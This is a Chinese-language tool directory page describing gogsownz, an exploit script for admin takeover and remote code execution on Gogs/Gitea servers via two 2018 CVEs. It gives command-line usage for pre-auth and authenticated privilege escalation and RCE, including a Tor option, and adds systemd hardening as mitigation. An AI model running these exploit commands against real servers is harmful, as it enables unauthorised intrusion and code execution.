Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
gogsownz — Gogs CVEs | Kitploit
工具/GitHubGitHub/thez3ro/gogsownz
权限提升漏洞分析漏洞利用Web应用程序漏洞利用远程访问工具
GitHubthez3ro/gogsownz

gogsownz

Gogs CVEs

查看仓库
791546年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

GogsOwnz

GogsOwnz 是一个简单的脚本,用于在 Gogs/Gitea 服务器上获取管理员权限和远程代码执行(RCE)。
利用 Gogs/Gitea 的漏洞,包括 CVE-2018-18925、CVE-2018-20303。

法律免责声明
本脚本按原样提供,无任何担保,请自行使用并遵守法律。

典型用法 - [请阅读完整用法]

获取正在运行的 Gogs/Gitea 信息

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --info

利用预授权权限提升(PrivEsc)

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth

利用权限提升(PrivEsc)

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --cleanup

或者

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -c '<i_like_gogs_cookie>' --cleanup

利用预授权远程代码执行(RCE)

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v --preauth --rce 'sleep 10' --cleanup

利用授权远程代码执行(RCE)

root@kitploit:~
python3 gogsownz.py https://127.0.0.1:3000/ -v -C '<user>:<password>' --rce 'sleep 10' --cleanup

完整用法

root@kitploit:~
usage: gogsownz [-h] [-C CREDS] [-n COOKIENAME] [-c COOKIE] [-i] [--rce RCE]
                [--repo REPO] [--preauth] [--windows] [--cleanup] [--tor]
                [--check-tor] [--burp] [-k] [--verbose]
                url

positional arguments:
  url                   URL for the Gogs server

optional arguments:
  -h, --help            show this help message and exit
  -C CREDS, --creds CREDS
                        Credentials for the Gogs server, in the from
                        "username:password"
  -n COOKIENAME, --cookie-name COOKIENAME
                        Name of the Gogs-specific session cookie
  -c COOKIE, --cookie COOKIE
                        Session for the Gogs server, the value in the
                        i_like_gogits Cookie
  -i, --info            Only detect informations about the running Gogs
                        server, then quit
  --rce RCE             Command to execute on the Gogs server
  --repo REPO           Use an existing repo for the PrivEsc
  --preauth             Try the pre-auth vulnerability
  --windows             Gogs server runs on Windows
  --cleanup             Remove all created repo after exploit
  --tor                 Use tor proxy when performing requests
  --check-tor           Check that Tor is correctly set up before running
  --burp                Use burp proxy when performing requests
  -k, --insecure        Allow insecure server connections when using SSL
  --verbose, -v

感谢

感谢以下人员:

  • 腾讯安全团队(@md5_salt、@ma7h1as 和 @chromium1337)
  • PentesterLab(@snyff)
  • LuckyC4t
  • Gogs 安全社区 :D

进一步阅读

https://github.com/gogs/gogs/issues/5469
https://github.com/gogs/gogs/issues/5558
https://github.com/gogs/gogs/commit/8c8c37a66b4cef6fc8a995ab1b4fd6e530c49c51
https://github.com/gogs/gogs/issues/5599
https://2018.zeronights.ru/wp-content/uploads/materials/17-Who-owned-your-code.pdf

缓解措施

如果你注意设置 systemd 单元文件,你会惊喜地发现利用行为在一定程度上被限制了:

root@kitploit:~
[Unit]
Description=Gogs
After=syslog.target
After=network.target

[Service]
Type=simple
User=gogs
Group=gogs
WorkingDirectory=/home/gogs/installations/gogs/
ExecStart=/home/gogs/installations/gogs/gogs web
Restart=always
Environment=USER=gogs HOME=/home/gogs

# Some distributions may not support these hardening directives. If you cannot start the service due
# to an unknown option, comment out the ones not supported by your version of systemd.
ProtectSystem=full
PrivateDevices=yes
PrivateTmp=yes
NoNewPrivileges=true

[Install]
WantedBy=multi-user.target

这至少会将文件系统访问限制在 systemd 创建的临时文件系统内。这有所帮助,但你最好还是修补权限提升漏洞,并且显然不要授予任何管理员权限。

下载工具